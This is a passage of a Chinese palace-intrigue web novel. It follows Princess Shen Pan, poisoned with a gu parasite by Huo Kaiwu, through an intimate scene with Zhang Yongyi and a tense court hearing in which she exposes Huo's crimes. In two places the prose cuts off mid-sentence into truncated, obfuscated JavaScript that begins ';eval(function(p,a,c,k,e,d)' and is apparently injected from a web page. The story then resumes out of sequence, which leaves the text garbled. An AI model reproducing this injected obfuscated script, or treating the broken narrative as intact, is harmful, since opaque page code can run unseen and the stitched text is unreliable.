“这就是一个教训,陛下给梅阁老的教训,朝臣闹得越凶,梅阁老就越凶险……” 多少年高坐明堂,下笔指点江山,上朝匡扶社稷,这样的日子过得太久太过索然无味,以致于他都忘记了,自己其实只是在为一个人前后驱驰,他的功业,他的果实,打上的都是别人的名字,他的权柄更只是借来的虚物。他以为,物归原主的那天该是周公辅成王朝诸侯的结尾,而不是故事开头带走武王姬发的一场重病。 张永一吐出一口气,更觉得化隆的天比宁远还要冷。 “对了公子!” 义然一拍大腿,又把张永一吓一跳,“我差点忘了件大事!” 张永一皱眉。 “嵇公子急找你!” ** 张永一刚跨进小院月洞门,就看见嵇阑裹着氅衣站在房门口搓手,一见到自己,居然像见了救星,一张口,像是要喊自己来着,却不知为何止住了嗓音,只哈着气朝自己频频颔首。 “可算来了。”嵇阑将他拉到了廊下。 “着急找我,是公主出什么事情了吗?” 嵇阑叹气,眉宇骤现颓丧,“公主不大好。” 张永一紧紧攥拳。 “那天离开了慈悲寺,霍开武找过她,硬是逼她喝酒,那酒不干净,里面掺了女蛊——” 张永一遏制不住心里的惊骇,一把抓住了嵇阑的手臂,“女蛊?” 嵇阑望着他,幽幽叹息道:“那个人是你吧?” 张永一的眼神越发凝重。 “其实这女蛊,头一次熬一熬就过去了,若是没熬住,这蛊虫吸食了阳精便定植下来,便会常常发作,上回她一烧烧了五天,就是因为这个……” 张永一懵在原地。 嵇阑叹气,“她脾气倔,身子骨又不够硬,这么耗着迟早要到油尽灯枯那天,近来用了点药略有成效,但她不敢让东宫知道,天天躲在这里夜不能寐、白日无神,一直这么颓丧,实在痛苦。” 嵇阑错开视线,不去看已经被心里的惊涛骇浪掀得不辨东西南北的张永一。 怎么说呢,他突然有些同情张永一。他是欢场老手,沈磐是个惯爱隐藏的,可他都能觉出张永一在沈磐那里,总是格外特别的一个,更何况是张永一的心思,在他这里更如同白纸黑字清清楚楚。沈磐是个敛于诉情的,张永一也不是生来胆大包天的,在心神摇曳之时,被心上人引着共赴巫山,纵然有君臣名分的阻隔,那时候他心里的高兴该能和天比高。 然后现在他知道了,能成为沈磐的入幕之宾并非沈磐有情,而只是蛊虫作祟。 这无异于黄粱梦碎。 张永一松开紧咬的牙关,缓了许久才吐出一个音节:“你……” 嵇阑回神,就见他面无人色,似池中枯荷,秋煞垂雨,严冬封雪,曾于千万人里熠熠生光,现也残破灰败。 沙场驰骋也难比说完这句话来得艰辛,他道:“你为何不……” 嵇阑抬手,似要朝天发誓,“我虽然要枉占驸马的名分,又常常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张永一低眉垂首。 “张永一!” 张永一不答,只沉默地又往前迈了一步。他们已经近得,张永一只需要一抬眼,就能看见沈磐额头鼻尖沁出的一层薄汗。 窗外打进一束光,好像能穿过沈磐而毫发无损。张永一听着她压抑在喉咙的细密喘息,只觉得已经被磕去一角的心脏,被这雪日疏光照得几近融化。 他的志向呢?他的亲人故友呢?多少年塞满了整颗心而不显空落的存在,仿佛在某一瞬都被沈磐挤开,现在他的心化了,血也流得干净,缩得只有丁点大,针尖之地里都密密麻麻写着“沈磐”“沈磐”还是“沈磐”! 他已然不敢相信这副禽兽模样的人,会是自己。 要逼迫她去做她不愿意的事情,这种人居然会是自己。 他最不喜听见“为你好”了,或许有真情关心,但总觉得自己背上了枷锁。 而今,他成了沈磐的枷锁。 张永一又往前走了半步,沈磐终于忍受不了这样的距离,又扯着被子往后一缩,“出去!” “公主这么厌恶臣吗?” 闻言,沈磐又是一愣,抬头望向他,见他似是受伤极了,眼中流淌着苦楚,心口不禁更痛,痛得她更用力地蜷起身子,更用力地按住自己的心口。 他是好意,可她的好意呢? 不,她没有好意。 那回岁末他来看沈斫,她就不该头脑发热说出这样引人误入歧途的话。然后在宁安侯府,她就该远远避他不见。再有上元节,被辛翩翩开过那样的玩笑后,她怎么能和他再开心扉?不该不该不该,处处都是不该,她不该引着张永一堕入迷途,也不该放纵自己贫瘠的心野刮过一阵春风、就此播下一颗名为“张永一”的种子。 可他怎么就不懂呢?这种事上怎么能装傻充愣呢?她已然负心薄性没有良心,他却死心不改硬是要吊死在她这棵树上。 这么喜欢吗?这么爱吗?就因为自己情不自禁时的几句牢骚闲话?就因为自己的一句“张永一你娶我”的玩笑话? 沈磐深陷泥沼难以呼吸。 怎么就这样呢?怎么就这样溺入情海不可自拔呢? 33. 第三十三章 荒山冢(六) 突然,她感觉脸上一凉,抬眉就见张永一已经跪在了床边,他那遍生老茧而格外粗粝的指腹正贴在自己的脸颊。 她霎时就说不出话。 像是受了山精野怪的蛊惑,她就这么看着张永一慢慢凑近,近到他的眼瞳里映出自己狼狈的模样。 他们曾那般近地相拥,却未尝主动亲吻过彼此的嘴唇,眼睛,睫毛,眉心,鼻尖,脸颊,耳朵,除了那个月圆之夜他蹭过的下巴,处处都是未解之禁。 沈磐忽然想到那次,他们都将彼此刻进了骨肉里,衣冠还是整齐的。 正想着,唇上一凉,像是落了一片雪花。 不,雪一触即化,远不如此刻温润,像含上了一枚玉。 玉色可愉烦心,玉纯可净浊心,玉润可除躁心,古人诚不欺,她快慢参差的呼吸也逐渐平息。 吸入的空气里还混入了张永一的气味。 沈磐脑中早就乱麻一团毫无清醒可言,但她蓦地听见了张永一的喘息,一睁眼就望入他墨玉一般的眼睛。 张永一连忙移开视线。 冬日里架青纱帐,总让人觉得有些冷,帐子上还用银线暗绣着云鹤仙山,这便倍感高处不胜寒。 他像上次那样局促,不慎碰到她的脚踝都着火似的让开,却转手撩开她的裙摆。 那天纠缠了那么久,他早该轻车熟路的,可张永一像是在犹豫什么,更像在怕,怕自己指下不慎的用力便伤到了她。 她比一张薄如蝉翼的纸还要薄。 他怕点破。 可他们的关系早如漏纸的那束光,而今正穿过青纱帐,颤巍巍落在他们之间。 他再近一点,这光就将流连与他们两个人的嘴唇上。 她的吻应该一直很苦,现在,更苦不堪言。 张永一捧住她的脑袋,指尖滑落的尽是她的头发。 被华光火色一照,她的乌黑的头发应该如同缎子一样顺滑。那夜上元他见过云鬓高叠,而今却斗胆这么去想。 沈磐本已渐渐舒缓的呼吸忽然顿挫,张永一连忙回神。 她早先尚且清澈的眼睛已经被搅动得一片浑浊。 她醒着吗? 不,她已经神志不清地仰头续上了这个吻。 扣着帷帐的银钩响了两声,沈磐半醉半醒。 她还似含着那块玉。 窗外暗淡的天光晃了晃,转头彻底湮灭在仙鹤宝鼎吐出的袅袅青烟之中。 银钩又撞了几下,叮叮当当像是檐下铃铛在响。 沈磐的声音正要随着天光一起熄灭,就闻得张永一闷闷哼了一声,窗外起了大风,吹得树影狂乱,沈磐的呼吸也随他急促起来。 她按着他的后颈又亲了上来。 常有吞金自杀,料想吞玉也有这般效用。 沈磐便咕噜一声吞了玉。 ** 人说锦麟卫不忌鬼神不敬天,抚远伯的人头就滚落在午夜。 但事情远远没有到此结束的意思。 五柞宫来了旨意,梅依径卧病在家,三司会审凑不齐这个总宪,便荒谬地令大理寺卿陶识礼与少卿萧蘋接管阳安伯案,还让霍轶这个虎贲卫指挥使衔领查办。 首辅冉琢明居然不发一言以对,任由《大楚律》上白纸黑字写着的祖宗家法全挥霍在一道中旨里。 毕竟,这不是他的家法,朝廷也不是他的家。 梅依径就是没有认清这点。 冉琢明叹息,蘸了蘸朱砂,在大理寺提拿师婆阿疯、纵火犯楚鹏、主使岳筑璜、帮凶王必大等人的奏疏上批红。至于下一份弹劾工部尚书薛正衢的折子,他端着笔看了好几遍,将其间的“东宫”二字念了不下数十遍,这才将折子塞到了手边小山堆似的奏疏里。 薛正衢啊。 没办法了。 冉琢明翻开下一份,继续批阅起来。但他心事重重,不可避免地走了神,一走神,目光就落在了对面书架上摆着的一只青瓷罐上。 这是他初入内阁时就有的罐子,听洒扫文正殿的内监说,这是昌南出产的雨过天青瓷,恐怕还是首辅柳曦既的旧物,一直放在这里无人敢动。 至于里面有什么。 一抔水,壁上还贴了片梅花。 后来水发臭,被倒了。 现在空无一物。 但冉琢明总觉得,这罐子像是盛了谁的魂魄,偌大的文正殿他孤身一人呆着也不觉寂寞。说起来有些吓人,他觉得总有人看着他、陪着他,但他不觉得惊悚,只在彷徨无助时,略感与空气对话仍有神思相接的安慰。 然后冉琢明也不知道自己怎么就趴在桌上睡了过去,兴许是太累了。 一觉至明,冉琢明还意犹未尽着,梦里当年他送他姑娘远嫁时的场景还历历在目,一睁眼,内监便着急忙慌地跑了进来,“大人!首辅大人!出事了!” 正殿门一开,月光就倾洒进来,小内监掌中护着的那盏灯瞬息被风吹灭,他本就因为惊骇而有些扭曲的表情更在一刹那烘托得有如鬼怪,他说的话更比鬼哭难听:“宫外传来消息,说是师婆阿疯把长平公主招了出来!” 一惊一愣,冉琢明僵结的思路顿时活络,一把抓住小内监的袖子,“你再说一遍!” “阿疯指认,年初长平公主向她问过如何下绝生人咒!” “年初什么时候!” “元良郡王案发时!” 冉琢明倒吸一口了,瘫倒在椅背上。 他现在两耳嗡嗡直响,眼前只有两个血淋淋的大字写满虚空——东宫。 小内监被冉琢明的反应吓得够呛,以为这么好的首辅大人有什么三长两短,连忙扑上来要救,却见才面如死尸的冉琢明霍然站起,揣起桌上一份奏折即刻冲出文正殿。 文正殿外摇曳着灯光火色,晃得冉琢明两眼发花。 他在台阶上驻足许久,将奏疏递给小内监,吩咐他即刻送达大理寺,这才扶着门板艰难地迈回了漆黑的文正殿。忽然他又想起,冬半年宫城夜禁,陶识礼他们哪怕拿到了票拟,也出不了宫门。 月光游离在青瓷罐上,像是盛夏水波潋滟不绝。 冉琢明顺着门框滑到冰凉的金砖地上。 柳曦既啊,都说你料事如神,可你料到大楚会有这么一天吗? ** 沈磐霍然惊醒时,晋国公主沈碧已经站在了床边。 她被惊得汗毛倒竖,甫一起身,就见床褥整洁,她的衣物也穿得整齐,先前由张永一带来的一切混乱仿佛都只是一场梦。 “大晚上的,你怎么来了?” 沈磐的声音已叫人听不出虚弱,可沈碧静静打量着她,自上而下、从头至尾地打量她,还是从她红肿的眼睛和尚且苍白的唇色中窥得端倪,她又沉默地凝视许久,这才说道:“师婆阿疯说,你问过她如何下绝生人咒。” 沈磐微愣,“对,在牛马巷,我亲自去的。” “我知道,就是那次,你要给元良找证据,却误落贼网,张永一救了你一命,所以太子提拔他当了长缨卫佥事。” 沈磐仰头,“你要说什么?” 话落,沈磐这才迎着沈碧说质疑不质疑、说好笑不好笑的眼神里反应过来,“他们居然早有预谋!派人暗杀我不成,就费尽心思要把我拉下水!” “为何不能是刑讯逼供?” “阿疯是要进大理寺的,京兆敢对她刑讯逼供,窦凯旋是不想继续在化隆混了。” 沈碧眼波流转,却始终萦绕在沈磐脸上,姐妹两个罕见地心意相通,沈磐霎时间明白了她的意思,“你说,如果我进了京兆府,他们也会对我用刑,毕竟窦凯旋为了报仇,已经公然投靠了霍氏,他不在乎杀了一个师婆还是一个公主。” 沈碧垂眸,“毕竟世上折磨人的法子千千万。” 沈磐莫名觉得心头热涌,似是被这十几年淡漠浅薄、一朝春来雪化的姐妹情亲冲溃了心门,沈碧却道:“他们应该来了。” 即刻,屋外传来了侍女的禀告,“京兆尹窦凯旋求见。” 沈碧转身,沈磐叫住了她,“是二哥让你来的?” 沈碧脚步不停,只垂手掀起裙摆迈过门槛,团圆在她错身走远时进了屋,在沈磐的失魂落魄中递来了一张简信,“这是晋国公主让奴婢交给公主的,说是太子殿下的信。” 沈磐的视线落了下来,落在纸上短短不过五个字的一句话——保下你自己。 是太子的笔迹无疑,也是匆忙之间写就。 五个字,说不尽写信、递信、阅信之人的心。 却诉尽了情况危急。 沈碧那么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈磐是人,所以她也拒自己于千里。 沈磐忽然就忍不住眼泪,嘴角全是嘲讽,背过身却润湿了眼眶。 “待会儿大理寺来人……” “我会去。” 沈碧扭头端详她的背影,喉咙又堵了起来。 她想说什么呢? 说,东宫会帮你料理好一切的,你不用去大理寺,也不必在那些地方折辱你的尊严。 说,磐磐,你只需要周全你自己。 算了,不重要。 沈碧转过脸出声:“哦,好。” 大理寺的确来人了,还是少卿萧蘋亲自领人登门,沈碧再没阻拦,只目送萧蘋恭恭敬敬地将沈磐迎上大理寺预备的轿撵,转身就让人去临川郡主府传信,如果临川郡主不在化隆,就去江西道找人。 沈磐自然是不知道这些的,只在步入大理寺时,在东直门甬道上看见了她的姐夫郇渰。 她就此想,对丈夫郇渰,对儿子郇渊,她也是那么冷淡疏离么? 哪怕是还未嫁人前,沈碧也从未和她吐露过半点少女心思,她甚至不会直接回答所有关于满不满意这桩婚事的问题,她只会一味地感谢天恩、感谢亲长、感谢大楚国运昌盛。毕竟只有她们吵架、吵得她再也无法维持公主体面和长姐威严的时候,她才会似讽似笑地说上一句:“嫁一个长得不错的夫婿,到一个各方面都不错的新家,还能有什么不满?” 郇渰便是那个长得不错的夫婿,襄阳侯府就是那个各方面都不错的新家,她没什么不满。 沈磐谢过萧蘋的客套,直入冰凉的大理寺狱。 可她一直如同这森冷的大理寺狱前铸的黄铜狴犴一样,没有不满,因为从来都是空的。 铸像是空的,心更是空的。 大理寺卿陶识礼已经等在了提审房。 据说他在升平年间就是三品刑部侍郎,兜来转去三十余年,他成了一府之首脑,却仍然位不过三品,不允入阁。但这小老头并无不满,办事以外时常是笑对人的,只是他太过于勤业,以至于真见他畅怀大笑的时候寥寥无几。 陶识礼朝她俯礼。 “陶少卿想问什么,本宫都知道,不过有件事情,陶少卿应该不知。” 陶识礼:“公主请讲。” “阿疯招供说本宫询问绝生人咒确有其事,但本宫只是想为元良郡王寻证,并未摆弄巫蛊。而真正摆弄巫蛊的人,应当是给本宫下蛊的霍开武。” 一瞬。 两瞬。 三瞬。 陶识礼乃至垂手站在一旁陪审的萧蘋都惊住了。 34. 第三十四章 荒山冢(七) 霍开武被衙役押解入狱的时候,沈磐还没有走。一见沈磐还坐在堂上,才和萧蘋对骂得面红耳赤的霍开武骤然笑了,“原来是你。” 萧蘋还没来得及叱骂霍开武的傲慢无礼,就见自门外投进的天光一灭,上首仍和颜悦色的陶识礼拍案而起,指着气势汹汹闯进来的不速之客喊道:“霍指挥使!” 霍轶朝陶识礼虚虚抱拳,却是理都不理少卿萧蘋,径直走到沈磐跟前,朝一步挡出来的陶识礼笑道:“本将乃陛下钦定的调查主使——” 说着,跟在他身后的虎贲卫递上一卷圣旨,霍轶接了送到陶识礼眼前,“见此旨如见陛下……” 沈磐劈手夺过那卷圣旨,在霍轶半句咒骂声里,拎着卷轴将圣旨抖落,“唰”的一声,堂上所有人的视线都聚焦过去,萧蘋眼神敏捷,即刻冷笑道:“霍指挥使原来是抚远伯巫蛊案的调查主使,不过,抚远伯不是昨夜就被锦麟卫行刑了么?霍指挥使不知道吗?” 霍轶斜睨他一眼,“本将军自然知道,听闻长平公主也是抚远伯巫蛊案中的要员,故而本将依律行使职权,要提长平公主殿下前去问询。” 沈磐慢条斯理将圣旨卷好,袖子一扬就摔在了一旁霍开武心口,“本宫是皇室中人,霍指挥使想提本宫闻讯,怕是还不够格吧?且你们虎贲卫专司西北,可有过调查办案的经验?霍指挥使要把本宫提到哪里去?你们霍家的私牢吗?” 霍开武被砸得胸闷气短,却只能在霍轶的眼神威逼下隐忍不发,听自己的小叔憋屈地应对母虎:“公主这般践踏末将,这般凌辱圣旨,是在藐视陛下吗?” 沈磐笑了,萧蘋道:“公主只是在陈述事实,霍指挥使不要故意歪曲。虎贲卫的确没有办案查案的经验,案子已交到我大理寺手中——” 陶识礼出声打断:“霍指挥使上承陛下之命,协助本寺调查此案,有权参与闻讯,只是嫌疑之人本寺已依律提拿,内阁也已应允本寺的问询之请,霍指挥使如有疑问,请往内阁致信。况且——” 陶识礼踱步,走至霍开武跟前,瞥着霍开武怀中那卷圣旨,“霍指挥使如何听说长平公主与巫蛊案有关?本寺也是刚刚才得知实情,令侄霍开武向长平公主下蛊,意欲谋害皇女,罪大恶极,霍指挥使在五柞宫恭请圣旨,如何在瞬息间得知城内谣言?还带领虎贲卫诸人来大理寺咄咄逼人?” 霍轶脸上的笑一瞬间阴狠,“陶寺卿也是先入为主了,现在案情尚不明晰,怎么就辨出了‘实情’和‘谣言’?陶寺卿这么亲亲相帮,这可让末将如何与陛下回禀?” 萧蘋张口要为上官辩解,就听霍轶笑道:“这也就罢了,我侄儿开武如何就向长平公主下蛊了?这其中莫非有什么隐情?这案子还没审过,陶寺卿就这么武断,末将十分担心大理寺的公允。” “那便由我等陪审。” 闻言,堂内众人转身看向门口,刑部侍郎阮折纭和佥都御史李闻达齐齐走来。刚才说话的是李闻达,他朝沈磐一拂身,“元辅和总宪不在,我等尚不敢说有资格提审皇家公主,但霍开武一介白衣,大理寺依律讯问,总不会僭越,霍指挥使您看呢?” “白衣”二字,李闻达咬得极重,霍开武的脸当即白了。 不待霍轶答话,萧蘋便点头睨着他们叔侄:“如此甚好,以免我大理寺‘亲亲相帮’,失了‘公允’。” 阮折纭摆明是支持的,这下霍轶便是不愿也得低头,朝陶识礼略一颔首,“那好,就趁今日,便一同审了吧。” 霍开武微瞪双眼,却在瞬息间,四肢凉透的血猛冲回心腑就此沸腾,看向萧蘋等人乃至沈磐的眼神里,都透射着遮掩不住的兴奋与得逞。 陶识礼心知不妙,但事已至此,他只能命人收拾正堂,硬着头皮进行这场礼法规矩之外的问讯。他请阮折纭上座,阮折纭却委婉推拒,与霍轶分立左右两边。萧蘋自然要跟在他身边,李闻达是跟着阮折纭来的,便要站在阮折纭身边,对面霍氏叔侄并肩,唯留下沈磐站在正堂的正中央。 陶识礼看得见沈磐一脸洒落,更觉得事情的发展恐怕会令人大吃一惊。 果然,霍开武率先发难:“公主说我给您下了蛊,可有证据?” “本宫便是证据,春华楼被锁在底层的那些风尘女子便是证据。”沈磐伸手,一捋起袖子,露出左手脉搏处皮肤下印出的黑色血纹,“这便是证据,你应该不陌生吧?” 霍开武笑道:“这算什么证据呢?陶寺卿,你说这能算是证据吗?” 沈磐一步迈出,逼近咄咄逼人的霍开武,“这如果不是证据的话……春华楼鸨母鸳娘的口供,可算是证据?” 霍开武的笑容一滞,随即反应过来大笑道:“一个靠皮肉吃饭的风尘女子,她嘴里能有什么实话?自然是谁给的钱多,谁就是恩客,就要帮谁说话——” “鸳娘不够的话,被你下了蛊强占了清白的吴琉光姑娘可算人证?吴姑娘虽然是商人之女,却也是清白良善之人,你因为贪恋吴姑娘的美色,动用官场关系,刻意陷害逼得吴家生意凋敝、家破人亡。吴姑娘现在就被你锁在启复门外,你那一对不见天日的双胞胎女儿就是她的骨血。” 霍开武轻哼:“公主都说了,她是商女,商女重利——” “那被你种了蛊养在私宅充作玩物的宣妙姑娘可算人证?要知道宣姑娘是前府军卫指挥使宣钦的女儿,宣钦一被夺职,她就被送给了你,她的生母、弟弟全捏在宣家手中,宣钦的前程也全捏在霍家手中,她总不会为了钱财而攀污你。” 李闻达讶然:“竟有此事!” 沈磐笑道:“这种下蛊之事,或许宣钦也知道不少。毕竟把女儿这样送出门,他难道不希望捞一个名分、留一支血脉、分一份家产、得一笔助力吗?宣姑娘因为中了蛊而不能生育,他难道会不着急吗?” 李闻达肃然,似是心中已有了谋算。 霍轶见早被刮过一次骨的宣钦又被提了出来,不禁恼怒,但眼下局势愈演愈烈,对他们越发不利,他只能稳住心思小心应对。斟酌了词句,霍轶道:“这些不过是一些风流艳史,拿到庙堂上说实在下流——” “□□穿金装坐高堂,这才是真正的下流。” 霍轶按剑,半步向前,回瞪气焰喧腾的沈磐,沈磐却无所畏惧,仍面色平静地注视霍开武继续说:“不仅是春华楼、启复门外,还有羊车巷,阳安伯崔家隔壁养着一位娇滴滴的大美人,也正被蛊虫折磨得形销骨立,陶寺卿也该派人看看了,说不定那崔家案还能别有洞天。” 陶识礼即刻朝门外侍候的属僚招手:“听见了?即刻去查。” 阮折纭补充道:“还有春华楼与启复门两处,尤其是启复门外吴家之案,我刑部可以派人协查。” 陶识礼拱手,“有劳。” 他又看向李闻达:“宣家之事,还望都察院相帮。” 李闻达回礼,摩拳擦掌,“这是自然。” 现在,堂内所有人的目光都落在了霍氏叔侄身上,却不见预料中的紧张神色在两个人中任何一人脸上出现,才因为局势明朗而心境开阔的陶识礼骤然明白,先前自己的不安从何而来。 于是,霍开武就这么将他的不安掀起了一角:“唉,这些都是嵇阑告诉公主的吧?” 他甩甩头,“公主一介女流,如何能有那么多眼睛,帮你盯着化隆上下的动作?若不是嵇阑,那就是东宫了?” 萧蘋大呵:“你休要胡乱攀扯!” “那就是嵇阑了!”霍开武偏头看萧蘋,“嵇阑可不是个会倒贴的,看来公主确如传闻所言,不是与男人不清不楚,而是已与嵇阑纠缠不清已非完璧。” “霍开武你……” 沈磐一步挡住他们两人相接冒火的视线,又见霍开武歪过脑袋,朝她身后的萧蘋大笑:“萧少卿,你怎么这么着急?你也一直爱慕着公主吗?” 陶识礼拽住萧蘋的袖子。 “嗐,或许当不了驸马,情人面首也能捞上一个,毕竟——” 沈磐冷冷问:“毕竟什么?” 霍开武挑眉。 “那天你逼我喝酒,是早就算计好了,这蛊虫一种便难以生育,今 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见沈磐有话要驳,他连忙又道:“偷鸡摸狗之事他没少做,有他爹还有他叔叔在,谁敢和他清算呢?不过谋害公主这样大的罪责,就算是嵇侯爷和嵇将军想要包庇,三法司也不会应允吧?” 说着,他阴笑着摇头:“不对不对,这就是我有失偏颇的地方了。” 他看向早已经被气得七窍生烟的萧蘋,“我记得萧少卿是兰陵萧氏出来的,和前襄阳侯沾亲带故。萧家没落得早,若不是这位老郇侯帮衬,在升平年间你们就要回家种田了吧?看见襄阳侯府一家因为尚主再获荣光,这么好的终南捷径,你们家——你,全天下如你这般的人谁不动心呢?现在你也老大不小了,却迟迟没有娶亲,萧少卿这种出身不用像贫穷举子一样待价而沽,更让人不解的是,萧少卿居然连个通房妾室都没有,在外也不宿秦楼楚馆,若不是有什么不可言说的癖好,那应当是要为娶不得的公主守身如玉了?” 陶识礼拉不住,阮折纭挡到了萧蘋身前,正好进入霍开武的视野,霍开武继续笑:“阮侍郎?阮侍郎的母亲姓陈,正是先皇后的堂姐妹,令尊阮伯矶在升平朝到老都只是个都水清吏司郎中,却因为陈家变成了外戚,令尊这才捞了个三品工部侍郎光荣退休。所以啊,东宫是你阮家的恩人,皇后生的长平公主自然也是你阮折纭的恩人。” 阮折纭默认。 霍开武最后看向已经四十好几、两鬓斑白的李闻达,“李御史就更不用说了,我听闻你与嵇阑是忘年交,他又在菁明书院替你那个被雷劈了都放不出一个屁的儿子出头,李御史心里这杆秤到底是往哪里偏的,大家有目共睹。” 至此,堂内除了陶识礼,每一个站在霍氏对面的人都被扒遍了老底,霍开武陈词总结:“所以啊,三法司亲亲相帮、官官相互,难寻公允。” 沈磐再也忍不了霍开武这番无理取闹和无事生非,一脚踩上霍开武最敏感的禁忌,“你将三司贬作烂泥,却忘了,烂泥之下,究竟谁才是腐蠹。” 她笑一声,看向霍轶:“本宫听说,令郎常与霍开武厮混一处,常在歌台酒肆大放厥词,还被歹人勾引着吸食禁物。” 话才说了一半,霍轶的脸就青了。 霍开武讥笑:“又是嵇阑在构陷人。” “不,是本宫亲耳听见的。” 众人俱是一惊。 “师婆阿疯说本宫曾在元良案中询问过绝生人咒,不错,本宫的确亲自前往牛马巷,花重金求教于她,但问了不过一会儿,就有一批训练有素的杀手要谋害本宫,本宫逃至一处酒楼,万幸躲过了追杀,却无意撞见霍指挥使的公子霍开德聚众□□,期间还发表了不少关于堂兄霍开武的议论。” “公主想编,也得编得像一点,既然是训练有素的杀手,公主又是如何逃脱的呢?” “自然是有长缨卫护送。” 霍开武一哂:“他们难道不会预先处理掉埋伏在巷口的长缨卫么?那他们可真算不上训练有素,只能说是东宫的长缨卫太过废物,而公主的本事太过顶天。” “你怎么知道长缨卫都在巷子口?” 35. 第三十五章 荒山冢(八) 霍开武笑:“不过随口一说。” 沈磐扬眉,状似不欲纠缠这处细节,萧蘋不禁着急,却听沈磐毫无波澜的声音霍然将寂静的大堂砸开一个漏光的窟窿,“霍开德说——他的堂兄身有妨碍,自从和吴琉光生下两个女儿后,便愈发力不从心,又怕那些海狗肾之类的壮阳药损害自己的根本,便用蛊虫迫害女子供他玩乐。” 一瞬。 两瞬。 三瞬。 在堂上诸人古怪的神色里,霍开武勃然大怒:“放屁!你在胡说八道!” “他还说——” 霍开武莫名就安静下来,听沈磐冷飕飕继续说:“还说本宫桀骜不驯,你也打算用些蛊虫让本宫好看——” 霍开武霎时伸手要扼住沈磐的脖子,众人来不及反应,只听得堂内一声暴吼,就见霍开武的脸上已经落下了沈磐的掌印。 沈磐倒吸一口凉气。 她的手真是疼坏了。 被霍轶攥住的手腕更是骨折般疼。 她咬牙道:“霍指挥使,僭越了吧?” 霍轶甩开沈磐的手,按住双眼通红、青筋暴突的霍开武,“公主,别太过分了。” 沈磐揉着手腕,“这就过分了?” 她勾唇,目光恶毒地扎向失控边缘的霍开武:“那天千秋节,你是怎么打本宫的呢?” 她的声音极低,神情却张扬跋扈得可怕,“你又是怎么骂我的呢?你骂我什么?贱人?还是□□?” 她极尽嘲笑:“你怎么敢的?你怎么有脸的?被嘲笑的人不该是你吗?那些被你视为贱人和□□的女子,她们没嘲笑过你吗?银样邋枪头,不仅不中看,更不中用——” 霍开武终于按捺不住了,猛然挣脱了霍轶,掐着沈磐的脖子就往地上按,嘴里大喊:“你她妈就是个贱人!□□!那印记这么深,应该被嵇阑口口过很多次了吧!” 听得堂内脚步乱响,沈磐剧烈咳嗽着连连倒退,幸好被撞翻了笔墨赶下来的陶识礼扶了一把,这才没有摔得头破血流。对面,萧蘋和李闻达按着还在怒骂不止的霍开武,阮折纭挡在要动手的霍轶面前,高声叫人。 “污言秽语、咆哮公堂,快把暴徒拉下去!”萧蘋捂着霍开武的嘴高喊。 “谁敢!” 阮折纭威胁:“霍指挥使,令郎吸食禁物,这种有辱门风、践踏国法的事情还是不要传到五柞宫为好。” 霍轶按在剑柄上的手终于松开。 沈磐忽然笑一声:“那印记代表什么你这么清楚?还有牛马巷,长缨卫埋伏在哪里你也这么清楚,你终于是全都承认了。” 堂上一静,最先反应过来的李闻达指着仍要暴吠的霍开武大喊:“霍开武,你下蛊陷害长平公主!这是危害陛下、危害大楚声誉的重罪!陶寺卿,都察院请求将此人下狱审问并协从办案!” 阮折纭仍然与霍轶对峙,“刑部附议。” ** 大理寺的闹剧,一个中午就传遍了宫里宫外,沈磐回府堪堪睡下,太子就来了。 嵇阑也来了,来得很不是时候,与太子、张永一刚好打了照面。 他觉得如芒在背,得了太子一个冷眼后反倒舒出一口气。 太子生气是对的,他知道太子生气就好。 嵇阑心中叹息,眼见着太子因为沈磐休息的消息而更加恼怒,不禁一个转身就溜达上了游廊,想远远观望,却被太子出声叫住:“嵇公子!” 嵇阑只能转身应对,“微臣参见太子殿下,见过张佥事。” 太子轻哼,似笑非笑,“自称‘微臣’?本宫记得,你没有功名也没有官身,那你何言‘微臣’?” “率土之滨莫非王臣,我是大楚子民,自然是陛下的臣、东宫的臣。” 太子半步向前,“我倒希望你回答本宫说的是,你是沈磐的臣。” 嵇阑抬眼,与之视线相接,看清了太子眼中的威胁和几乎不可能存在的希冀,他似是受到了莫大的鼓舞和山重的压力,又像是承受不了这样殷切的希望,他连忙移开视线,看向了一边的张永一。 他才是沈磐的臣。 他必然听见了太子最后的这句话。 嵇阑倍觉残忍,不仅对他,也对自己。 太子笼袖,“嵇公子既然愿做我东宫的臣——” 嵇阑颔首,以示赞成。 太子倾身,“想来嵇家的其他人也该与你走同样的路吧?” 嵇阑不答,沉默中不知混杂着什么情绪。 太子抿唇直身,“事已至此,别让我知道你对不起沈磐。” 嵇阑望向张永一。 张永一的眼睛如同悬崖深潭。 嵇阑坚定道:“不会的。” 太子略感奇怪,侧身顺着他的视线看去,只看见了默默不语的张永一和张永一身后满院的深冬雪色。再回头时,嵇阑已经垂下视线,如同张永一般,将臣下的顺从服服帖帖地遮满全身。 他心里不仅暗笑,笑得不解,笑得荒唐。 他的磐磐最是不羁、最能勇敢、最爱自在的,她如何会喜欢这样如同笼中鸟缚起双翼的软弱之人?嵇阑这个人,在他跟前表现得温和顺从,想来在只有沈磐的时候,会是张扬恣意的某人——那个他恨不得杀了的僭越礼法的某某人。 他突然有了种女大不中留的苦恼。 太子转身,刚要扣门,犹豫了瞬息便改了念头,转身带着张永一走远。嵇阑还站在原地,太子不禁驻足回头,神情严肃,“别打扰她。” 嵇阑只能在太子的注视下,熟稔地从后门离开。 “张永一。” “臣在。” 太子望着嵇阑消失的方向,“你能致信崖然吗?” “遵命。” “别让沈斫知道。” “臣明白。” 太子长长叹息,“从小到大,她和她三哥最为亲近,但就是这样,有个头疼脑热也强撑着不告诉别人,她三哥心细,偶尔能够发现,很多时候都是她一个人默默熬过去的……有一次年关,我们跟着陛下去紫微宫祭拜,她不肯去,我们只以为是她心情不好,她又把自己的婢女内监全都放了小假。结果,是她发了高烧,烧得不省人事,最后是沈斫背着她走去的太医院。” “公主……是不想让殿下担心。” 太子笑得无奈:“她这样,我们才最担心。” 他低下头,理理被风吹乱的袖子,“在宁远时,沈斫也是这样默默硬扛的吧?” 张永一点头。 “嗐,她们姐弟真是……小的带坏大的,大的纵容小的……” 